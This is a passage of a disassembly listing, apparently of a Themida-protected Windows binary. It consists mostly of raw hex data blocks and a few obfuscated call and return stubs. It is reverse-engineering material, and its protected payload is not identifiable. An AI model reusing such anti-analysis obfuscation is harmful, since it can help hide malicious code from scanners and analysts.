858BF900h, 1, 0B4E78BBBh, 7C0832Fh, 0FE5BD2Bh dd 0C0830628h, 0F98B6600h, 830FD03Bh, 27h, 69DF8166h, 0FE8DEh dd 6AEA0000h, 1C25F42Bh, 0D2A429F2h, 252EE7EDh, 852953BEh dd 62800A9h, 30E95B5Fh, 8B000000h, 0FFFFFF8Dh, 1E183FFh dd 21840Fh, 85890000h, 62817A9h, 0FFFFA583h, 0FFEFFFFh dd 9589F8BFh, 1, 0EC18531h, 0E90628h, 8D000000h, 2C4525B5h dd 0A5BD2306h, 6A062832h, 7D9D8B00h, 0FF062829h, 28046595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 2BBEAAC7h, 0EE9h, 0D82E7000h, 0D07E66C5h dd 56FECC0h, 0BFD4AD69h, 58D49BADh, 24B8BF66h, 0EC8B9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 3FDE65BFh, 10E952h, 0AB690000h, 959DC1F3h dd 7E096B06h, 57AF0611h, 835BCC98h, 6AFCE1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FC7E61C3h dd 1061BD89h, 0C02B0628h, 8E9h, 547BC00h, 0BAF48AF1h, 0FD22B76h dd 33ADDBB7h, 3E8D1C2h, 4E983D0h, 9D89F475h, 6280F81h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B9C35343h dd 95D9612Ah, 20DA1A9Ah, 4EBB6608h, 880DD4h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 80DECCC3h, 0FC515883h, 958BD98Bh, 6280715h, 20D1BD8Bh dd 8D8B0628h, 62821BDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0FC35545h, 518A3CC9h, 0B36F0A03h, 13E8ECh dd 94EF0000h, 0CE8630A2h, 0C393E091h, 0D0AF091Ah, 7F49636Bh dd 6840F02h, 89000000h, 280171B5h, 8B505B06h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0DEC35040h, 33D45C5Fh, 2812AD9Dh dd 5E906h, 7C3A0000h, 835044F4h, 2825A1BDh, 840F0006h dd 56h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h dd 2C35747h, 4A469DB8h, 2E999D31h, 0B80628h, 23000000h dd 281315BDh, 6E8D8D06h, 2306284Fh, 280D499Dh, 0E9E1FF06h dd 12h, 349003B7h, 0C49262C6h, 43BC0F90h, 1F18ADCh, 0BD833739h dd 628113Dh, 50840F00h, 83000004h, 28113DBDh, 840F0106h dd 45Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 74C35747h, 83F2F346h, 28113DBDh, 860F0306h, 3FCh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0C7C35545h dd 2BDF81E0h, 604BB87Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 72C35545h, 0E7816699h, 8C666E56h, 11E9D9h dd 20450000h, 0DEC2F1CDh, 0C71EA03Eh, 69D01DF5h, 80E9D842h dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 159F7EC3h, 0FC90AFFh, 11284h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F97F9054h, 24C9858Bh, 0F88B0628h, 2D058533h, 2DBF0628h dd 903316BFh, 6ABF6650h, 6A9094h, 3D958B60h, 8906281Ah dd 28111D8Dh, 4E86106h, 0FF000000h, 50001F03h, 5F5F5650h dd 424448Bh, 8BFE8B66h, 0C880F00h, 0E9000000h, 7, 48FE304Ah dd 8913C71Ch, 60042444h, 0D98A5250h, 47B1310Fh, 5861585Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F3C35141h dd 89334E99h, 2811958Dh, 6D95FF06h, 6A062817h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 7199C353h, 89A6E404h, 2BA3FD85h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0E9F88BDCh dd 219h, 0FE8h, 7B012300h, 0A905AFE4h, 0ABA39E46h, 332E2DFDh dd 34859D8Bh, 8B5F0628h, 2BA3F585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 10D1F7ACh dd 7B3C2883h, 8B608B91h, 282F0195h, 6D850306h, 61062802h dd 1800C7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 807909C3h, 0B58B74D4h, 62BA3F9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DEC35747h dd 8631A36Ch, 858BDAFDh, 6282B65h, 6850Fh, 0BD8B0000h dd 6282599h, 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 498DC3C3h, 38F06F1h, 9D8B66E8h dd 62823D5h, 24C9858Bh, 5B510628h, 6A044689h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 55D0C351h, 0A64452B3h, 95890FE6h, 6280ECDh, 50DBB70Fh dd 6A243489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 74EDC356h, 0A24556E4h, 0FEB70F56h dd 0B5FFF55Bh, 62BA3F5h, 0EF98F781h, 8D0F581Fh, 3, 6892CF80h dd 0FE891153h, 14E95660h, 17000000h, 1CA08C70h, 0A9B294BFh dd 467967B5h, 7434EE6Eh, 5BA2986Dh, 61D78B66h, 0AC240481h dd 6A0195F2h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 775C350h, 9389249Fh, 0FD858DDAh dd 6A062BA3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 1494C356h, 89501927h, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0F54437C3h, 2A17197Ch, 299D895Fh, 0FF062811h, 28176D95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 9D8B6195h, 628101Dh, 113D85C7h, 30628h dd 9D330000h, 62817D9h, 0A3FDBD83h, 0F00062Bh, 3F84h, 58B0F00h dd 66000000h, 9E4DF81h, 4AE9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 940F560h, 6E875h dd 59290000h, 5E3A6A93h, 5FD8B70Fh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0FE75C350h, 0BD8340BBh, 628113Dh, 0F9850F03h, 0F9000004h dd 95D8589h, 0BD830628h, 62BA3FDh, 0E5840F00h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0AB02C355h, 0F20A8C52h, 23A5BD31h, 0BF0F0628h dd 0FDB5FFF8h, 0E9062BA3h, 12h, 0B0B313FEh, 6453FA53h dd 154D5F55h, 0B018ADE5h, 95FFA44Eh, 6280E95h, 10E9h, 5A11EA00h dd 5F61B8C6h, 0D06BBFF9h, 3ACEE1D7h, 0F1B58B7Ah, 6A062BA3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0D2E2C357h, 8B507C2Bh, 6C75FF8h, 10001h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 83C35040h dd 26219D8Bh, 0B7530628h, 0BB505B37h, 7C2AA5FFh, 6A243489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 2F6EC352h, 0CF6F56BEh, 0DE8B16EBh, 6820Fh dd 0BD8B0000h, 62803A9h, 0A3FDB5FFh, 6A062Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D31CFC3h dd 62826A9h, 201995FFh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E9CB82C3h, 10h, 0F44ABE3Bh dd 30E4EFAh, 7C217E99h, 71F94985h, 51BD8B53h, 5F062820h dd 0A3F1B58Bh, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 6645C0C3h, 0F781FE8Bh, 27851D14h dd 17D5858Bh, 0BD890628h, 62820B1h, 0C48689h, 9D8B0000h dd 628050Dh, 715958Bh, 0BD8B0628h, 6282281h, 0E904C283h dd 12h, 72370DB0h, 5CDB7EF3h, 0BF401B70h, 800A2AA8h, 5089F37Fh dd 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0BEC35740h, 92FD8E82h, 81668F85h, 0F5306C3h dd 108Dh, 0BE900h, 0B7CD0000h, 0A57C4183h, 90C68246h, 0D9858D91h dd 6A062BB8h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0C3D7C350h, 80DB33Eh, 10BF662Ah dd 0B88689B2h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 3FF5C350h, 0A5DFDFF9h dd 0DE7DD447h, 6A24B7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 40C35646h, 0F5E89883h, 1001BD2Bh, 0BE80628h dd 0D5000000h, 0CF6A967Ah, 0EE5ED03Ch, 0D88B2E24h, 0FDB5FF5Bh dd 6A062BA3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0BB20C353h, 6FCC5412h, 0CC38166h dd 0D195FFE7h, 6A06282Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 8A50C353h, 0BE330FEDh dd 5650F472h, 0FE9h, 33C45300h, 3651675Dh, 2807B8BCh, 40023EB0h dd 2434895Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0F8C35141h, 60C82303h, 0D0D950Bh, 13E90628h, 56000000h dd 0D9F26C1Fh, 41D02500h, 24E45293h, 6385BE7Ch, 52614D83h dd 5FF9BF0Fh, 0A3FDB5FFh, 0FFF9062Bh, 2829B995h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8BE31E24h, 0DE9F9h, 92290000h, 0C56DD19h, 0D26CFF3Ch dd 839E28C5h, 280C55BDh, 840F0006h, 77h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 2CC35040h, 96AF8EE4h dd 12E9h, 26E5C400h, 71C66537h, 0E9DCB85Bh, 0BD8393A0h dd 50A7559Ch, 11E9h, 519D6500h, 9A077ACCh, 0A3AA0AF4h dd 4CCFFAD7h, 6A96BFCEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 5E8FC355h, 0A6761313h dd 5795BB66h, 0FFDCD780h, 2BA3FDB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 921B2A3Bh dd 95FFFE8Bh, 6282285h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0D2C35141h, 0CB0D7C69h, 0BD0386A3h, 6281A29h dd 0FFD9BF0Fh, 2BA3FDB5h, 3DB50106h, 0FF062804h, 2810C195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 5C380D63h, 1861BD83h, 0F020628h, 1484h dd 9D8B5700h, 6282EC5h, 59858B5Fh, 8A062812h, 0C6DDh, 585C7FCh dd 62813h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0D1D1C352h, 8DEF80AAh, 0FFF28FE9h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0DE5D28EAh, 0F14F7327h, 4995892Ch, 8B062817h dd 0E1CB80C1h, 8DDFB70Fh, 282C0585h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 10D96277h dd 508E095Bh, 13E8h, 0C697BE00h, 7C51B13h, 78920EAFh, 0ECBE05B2h dd 0D7D1544Dh, 341ABB66h, 2404895Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 7AC35343h, 0BEBCFC29h, 9D8B4CC5h dd 6280469h, 6660006Ah, 0E9B2C381h, 6A006A61h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 5F2C351h, 8D3ACBFEh, 2CDFCF85h, 359D8B06h, 8306280Fh dd 6E805C0h, 2E000000h, 0D8CA2C5Fh, 0D53BBB61h, 905F35A2h dd 12E95250h, 0AF000000h, 5624D6B4h, 86B28B85h, 0F56EEF38h dd 2AA9D1EEh, 66310FF1h, 5ACB07BFh, 6A905058h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0C745C352h, 6A8962h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 3CC35646h, 0F39310C1h, 6AFC74A9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0FF82B3D2h, 28243195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 5D2C2853h dd 0E6FB3DFAh, 398D290Ah, 8D062818h, 2B94F38Dh, 0E9605006h dd 10h, 0DCBB2A5Bh, 0D6E37482h, 839A1449h, 4D60347Ah, 8A0Fh dd 5F610000h, 860FD1FFh, 4, 5E6EBB66h, 2415BD83h, 0F010628h dd 8B85h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 5C7BD98Fh, 6AA1D790h, 57006A02h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BD89A0AFh, 62810F1h, 5800Fh, 81660000h, 66CF17DBh dd 5290DF8Bh, 5BF88B66h, 14E950h, 2BCF0000h, 2E09A5Bh dd 589C2A82h, 797BA4C0h, 91DAF572h, 60908554h, 23FE8B66h dd 28225D95h, 0CF806106h, 0D195FF59h, 0F906282Ch, 0D6EE9h dd 0E800h, 815D0000h, 2CDFD9EDh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0D4FBDB3Bh dd 0B59D0901h, 66062821h, 3388C781h, 39EF8166h, 0B0858D04h dd 89062B85h, 2812A5BDh, 66509006h, 907765BFh, 64D88B66h dd 35FFh, 0AE90000h, 0EA000000h, 43A380Bh, 0A477B0B7h dd 25896450h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_597393 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597393 proc near ; CODE XREF: Themida_:0059738Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_597393 endp ; --------------------------------------------------------------------------- fmul dword ptr [ecx+28321D95h] push es inc dword ptr [ebp+6281659h] push 0 push ebp call sub_5973BB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5973BB proc near ; CODE XREF: Themida_:005973B3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5973BB endp ; --------------------------------------------------------------------------- db 43h dd 0E60D79ACh, 4CF8166h, 66FF6A50h, 8972E781h, 1D45B5FFh dd 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0BD3192C3h, 6282C3Dh, 2DC195FFh, 4AE90628h dd 0BB000001h, 105FD3B1h, 0DF8100B0h, 5C5AD9C8h, 0BD2B70E6h dd 6280EDDh, 0CE971E4h, 0E5000000h, 0FAEDB797h, 7F83B52Dh dd 3C639F9Ch, 1A830F61h, 8B000001h, 280C65BDh, 3DBD8B06h dd 0F062826h, 10E9C8B6h, 93000000h, 6A74AB0Ch, 463AC2F5h dd 0D1327AE9h, 0BA3C4C85h, 6, 33FD9D8Bh, 0B70F0628h, 0E9C18BDFh dd 10h, 0A4AA95E9h, 83C78C25h, 0B3DDE4D1h, 66EE305Ah, 6604E8C1h dd 666FA3BFh, 0BD8BE2F7h, 6280BD9h, 9D0BC82Bh, 6280CB5h dd 0BF66D18Bh, 0AEE901C1h, 0F000000h, 158Eh, 10E900h, 0E2F00000h dd 0C1AA60DBh, 5B3D9AF6h, 0B235B4A4h, 0EB801780h, 4858B1Ch dd 9000000h, 280FC99Dh, 7C08306h, 3420AABFh, 0C08366h dd 20A1BD09h, 0D03B0628h, 17830Fh, 9D030000h, 6280321h dd 31F9BD33h, 5AE90628h, 8B000000h, 280109BDh, 0FF8D8B06h dd 0FFFFFFFh, 800FF8BFh, 14h, 0FE9h, 0F7736F00h, 29D59F3Eh dd 0AC9FFF25h, 0E280F755h, 0F01E183h, 2884h, 37BB6600h dd 0E99D8B03h, 83062825h, 0FFFFFFA5h, 9D01FEFFh, 6283471h dd 49589h, 0C7810000h, 0AC65430h, 0E9h, 0EDB58D00h, 6A062C53h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0E474C357h, 0B7A24556h, 6AA5D88Eh, 48C0Fh dd 8A520000h, 6A5FFCh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0C8C35040h, 96483ABFh, 6595FF10h, 0F062804h dd 0B88h, 8D8B6000h, 6280E11h, 61F28B66h, 0FC9B9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 3A4436A9h, 1B086468h, 1E519D8Bh, 0E1830628h, 57006AFCh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 2CF0958Fh, 303502C5h, 0DFB70FB3h, 6AFCFCB3h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 5685C355h, 0BF1714C4h, 9F015FF9h, 0D4F78166h, 0B8C0h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0B65912C3h, 9529B37Bh, 6281995h, 0BAh, 79858900h dd 0E906280Ch, 14h, 0F6D4CA80h, 328D82B7h, 1CA8B19Ah, 64ED1127h dd 77C35E3Fh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 8CC35040h, 9589BD56h dd 62810B5h, 20C9BD0Bh, 880D0628h, 29000000h, 282135BDh dd 8BB6606h, 15958BB2h, 6A062807h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0B19DC352h dd 0F5DF8166h, 8BDD8A56h, 2821BD8Dh, 50DA8B06h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 63D5B97Ch dd 2115B589h, 9D8B0628h, 6281711h, 25A1BD83h, 0F000628h dd 8984h, 0FFB70F00h, 0B8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 459793F4h dd 79BBFE9h, 8DDFBF0Fh, 284F6E8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0C3283044h dd 95EF2559h, 1DB58950h, 0FF062801h, 53006AE1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0D573B59Dh dd 0FFFF45A5h, 11D19D2Bh, 0BD830628h, 628113Dh, 47840F00h dd 6A000003h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 488FC355h, 5B4F7DF7h, 0BD83C0AEh dd 628113Dh, 32840F01h, 66000003h, 0BD83DE8Bh, 628113Dh dd 0EC860F03h, 66000002h, 0DC44E381h, 0B9666060h, 7E92BC4h dd 7E000000h, 9F5F17B4h, 6661C8CCh, 0DE9D98Ch, 2F000000h dd 322B2828h, 5E2DADB8h, 2E2EAEA1h, 2F99D8Bh, 0E1800628h dd 0AFB8B04h, 0E1840FC9h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 236CC350h dd 5A4ADC03h, 0C9858B41h, 0F062824h, 8533FBB7h, 6282D05h dd 575DDBBh, 0BF665025h, 48978D0h, 499D8924h, 6A062814h dd 969BF00h, 54685554h, 66531501h, 8113D5BFh, 2AB2434h dd 6A530Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0AF7307C3h, 60D9DD1Ah, 840FF08Bh, 2, 0FF61FA8Bh dd 28176D95h, 619D2B06h, 89062814h, 2BA3FD85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 5B4B4h, 0F3BEC291h, 18DE9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 60D6D809h dd 0A3F5858Bh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 1DB2E0C3h, 0C76B77h, 18h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1C35545h, 6FAF6EC9h dd 0F9B58B0Eh, 6A062BA3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 767EC353h, 31281E1Bh dd 14E89Dh, 2B7C0000h, 0AB7B0E76h, 4D421C55h, 336F8A5Ah dd 770D701Eh, 0BF0F27DBh, 858B5FF9h, 6282B65h, 8B0689F9h dd 280C6DBDh, 0C9858B06h, 6A062824h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 7DB1C353h dd 0F1815160h, 50C75308h, 0C5B86658h, 46896164h, 0FEBF0F04h dd 0F88B6696h, 9E850h, 0CF190000h, 99EDC475h, 0BB0459B0h dd 142D218Dh, 8D89965Fh, 6282729h, 0A3F5B5FFh, 0BD09062Bh dd 62801EDh, 0CB0F5268h, 8E857h, 5B480000h, 0B0FB5C1h dd 66575BEFh, 5B1745BFh, 2434815Bh, 57D40CADh, 0D9C78166h dd 0FD858D28h, 2B062BA3h, 280FEDBDh, 8EB75006h, 60240489h dd 61D0BF0Fh, 176D95FFh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 3AFBF1C3h, 81B21CE5h dd 27098589h, 89610628h, 282FD18Dh, 3D85C706h, 3062811h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 1BF6C357h, 6DAEFE9Eh, 0FE7ADFAh dd 283h, 83DA8B00h, 2BA3FDBDh, 840F0006h, 13h, 27E9DA8Ah dd 0F000000h, 680h, 0A5B58900h, 50062819h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 7D0C6DC3h dd 65BCD9C6h, 8B66B7FDh, 3DBD83FEh, 3062811h, 4BD850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 731B51C3h, 32AD07E3h, 7E8h dd 983BCD00h, 0DC2F1C30h, 0FED9D8Bh, 895F0628h, 2804C585h dd 0FDBD8306h, 62BA3h, 475840Fh, 89600000h, 28026DB5h dd 0EB816606h, 8B6120F5h, 2804499Dh, 0FDB5FF06h, 6A062BA3h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0D797C353h, 85B9CC1Eh, 633BAEA4h, 840FDF8Bh dd 0Eh, 0F98D3360h, 89062818h, 280E698Dh, 95FF6106h, 6280E95h dd 0AD1E1EBBh, 0F1B58B7Eh, 6A062BA3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0C4EBC351h dd 9F99820Bh, 4062446h, 9BD2960h, 906281Fh, 280EF58Dh dd 0BB666106h, 8052C96Fh, 0C75FD1F7h, 1000106h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F8FB8B70h, 0E8525050h, 0Ah, 0ACE0A447h, 3D0B7A4h, 0BB66D7BBh dd 0F5FEAEAh, 0FF9FBF31h, 585A4235h, 6A243489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 285C356h, 0B5FF1975h, 62BA3FDh, 1AF8BB66h, 201995FFh dd 8B660628h, 0F1B58BDEh, 6A062BA3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3CC7C351h dd 0D88A59E8h, 17D5858Bh, 95890628h, 6282DBDh, 0C48689h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 1C0469C3h, 9E9h, 3729F700h, 0C16E83EEh, 958B88D2h dd 6280715h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 70C35747h, 71BD8BB6h, 8B062807h, 281925BDh, 4C28306h dd 9E8h, 8CD93600h, 429F355Bh, 665F947Eh, 5089FA8Bh, 51006A20h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 51A64908h, 0D9858DE7h, 6A062BB8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9A9CC351h dd 891875FBh, 0B886h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 9D8B9ECEh, 6281F15h, 0F381006Ah dd 3C4BD262h, 0A3FDB5FFh, 9D03062Bh, 628077Dh, 9E9h, 0C7D3EC00h dd 0A9697910h, 95FFE0D2h, 6282CD1h, 0E8605096h, 0Eh, 335ACC31h dd 0E759251Bh, 41FCBC5Ah, 850F6B07h, 0 dd 1A890F58h, 0E8000000h, 14h, 0CF7E7F15h, 52064A80h, 9723A0D9h dd 59FAF1D5h, 47AF34Eh, 0E996615Bh, 0Dh, 7243AA2Ah, 2721AB47h dd 3B5EA79Ch, 0FDB5FF33h, 9062BA3h, 281E758Dh, 0B995FF06h dd 9062829h, 2834A99Dh, 55BD8306h, 6280Ch, 3F840Fh, 0FFB70000h dd 0E8535296h, 9, 0C4740D47h, 0C8547E02h, 5B5F5B55h, 0F4BF6650h dd 0BD8B9608h, 6281A51h, 17870Fh, 12E90000h, 19000000h dd 0CD8B0E46h, 752AB5BAh, 2D35B1B1h, 2366A036h, 0FDB5FFBDh dd 6A062BA3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0F7D0C350h, 54C0A895h, 2B31AEFAh dd 0FFF4F780h, 28228595h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0FEF9EC0Ah dd 0F7C6157h, 68Ch, 0D19D8B00h, 0FF062817h, 2BA3FDB5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 8EF38255h, 646DC87Ch, 830F6CBFh, 2, 6657F98Bh dd 5B7C16BFh, 10C195FFh, 9D8B0628h, 6280E91h, 1861BD83h dd 0F020628h, 5C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 858B306Bh, 6281259h, 0CE8h dd 0C4C50600h, 0F4F167BDh, 236D813Bh, 0C65FF912h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0E5E499C3h, 0A5B3B06h, 585C777h, 62813h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 6E07C356h, 0D6686C9Dh, 665260B0h, 5BAF12BEh dd 11E960h, 6B460000h, 776120C9h, 0FA0E471Fh, 74C576C0h dd 8B80629Ch, 2819FDBDh, 0E9616106h, 0FFFFF36Dh, 2D0AEB81h dd 0C18B284Bh, 12E9h, 39E38D00h, 27665C31h, 6F2A470Bh dd 44508B53h, 8DF308ACh, 282C0585h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0E67FCD8Eh dd 0FDB91486h, 8A6090A3h, 8E960ECh, 0AF000000h, 6296A28Ah dd 565ECA82h, 5061615Fh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0C11D6C40h, 59BD2967h dd 8906281Ah, 28217585h, 6A006A06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 46E0C352h dd 17D67957h, 8B006A61h, 2819FDBDh, 3D858D06h, 6A062CEFh dd 3E85300h, 20000000h, 895BC35Bh, 